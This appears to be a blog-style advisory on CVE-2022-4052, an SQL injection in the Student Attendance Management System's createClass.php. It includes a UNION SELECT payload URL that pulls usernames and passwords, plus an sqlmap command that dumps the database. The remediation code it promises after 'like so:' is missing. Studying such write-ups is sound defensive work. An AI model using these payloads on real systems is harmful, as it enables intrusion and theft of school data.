In late 2022, a critical vulnerability was discovered in the Student Attendance Management System (SAMS). Labeled as CVE-2022-4052 (and also identified as VDB-213845), this issue allows remote attackers to gain unauthorized access to the database, with the potential to exfiltrate or manipulate sensitive information.

Let’s break down how this vulnerability works, walk through a proof-of-concept (PoC), and talk about what you can do to protect yourself and your systems.

Vulnerability Type: SQL Injection

- Location: /Admin/createClass.php — specifically the Id argument

Impact: Critical, remote code execution possibility, full DB compromise

- Reported By: Vulnerability Database

Student Attendance Management System is a commonly-used web app in schools for tracking student attendance. The bug lies in how the app processes user-supplied data in the Id parameter when creating new classes.

How the Attack Works

When a user (admin, teacher, or attacker) accesses /Admin/createClass.php?Id=<value>, the system takes whatever is in Id and uses it directly in a SQL statement without proper sanitization.

Although we don’t have the entire source, based on public analysis, it might look like this

<?php
// Vulnerable snippet in createClass.php
include("db.php");
$Id = $_GET['Id'];
$sql = "SELECT * FROM classes WHERE id = '$Id'";
$result = mysqli_query($conn, $sql);
// ... process the result
?>

Notice: The $Id parameter is inserted directly into the query—no escaping, no prepared statements. This is a classic recipe for SQL injection.

Exploit Details (Proof of Concept)

Let’s demonstrate how an attacker could use this vulnerability.

Suppose the attacker wants to extract usernames and passwords from the users table.

Just by visiting this URL

http://<target>/Admin/createClass.php?Id=1'%20UNION%20SELECT%201,username,password%20FROM%20users--+

1' closes the id value.

- UNION SELECT 1,username,password FROM users--+ tells MySQL to append usernames and passwords from the users table into the result set, potentially exposing them to the web page or the attacker’s script.

How the query becomes

SELECT * FROM classes WHERE id = '1' UNION SELECT 1,username,password FROM users-- '

This will combine the attacker's selected data with any results from the original "classes" query.

If you use a tool like SQLMap, exploiting this gets even easier

sqlmap -u "http://<target>/Admin/createClass.php?Id=1"; --risk=3 --level=5 --batch --dump

This command tries to automatically detect and exploit the vulnerability, extracting sensitive tables and data.

Possibly gain admin access to the backend

That’s why CVE-2022-4052 is labeled as a critical security issue.

Remediation and Mitigation

- Update: Check for patches from your SAMS vendor. If an update is available, apply it immediately.
- Fix: If you control the code, rewrite database interactions using prepared statements or parameterized queries, like so:

Sanitize Input: Always validate and sanitize any user input.

- Restrict User Privileges: Ensure your database user account DOES NOT have more privileges than necessary.

References

- Official VulDB Entry: VDB-213845
- NIST National Vulnerability Database — CVE-2022-4052
- SQL Injection Protection Tips - OWASP

Conclusion

CVE-2022-4052 is a dangerous, easy-to-exploit vulnerability that could affect schools and institutions using the Student Attendance Management System. If you manage such software, urgency is critical — patch or fix the underlying code now!

For detailed technical reports or further questions about this issue, feel free to reach out or consult the references above.


> *Knowledge like this keeps your school and your data safe. Never ignore security updates, and always use secure coding practices!*

Timeline

Published on: 11/17/2022 17:15:00 UTC
Last modified on: 11/18/2022 18:21:00 UTC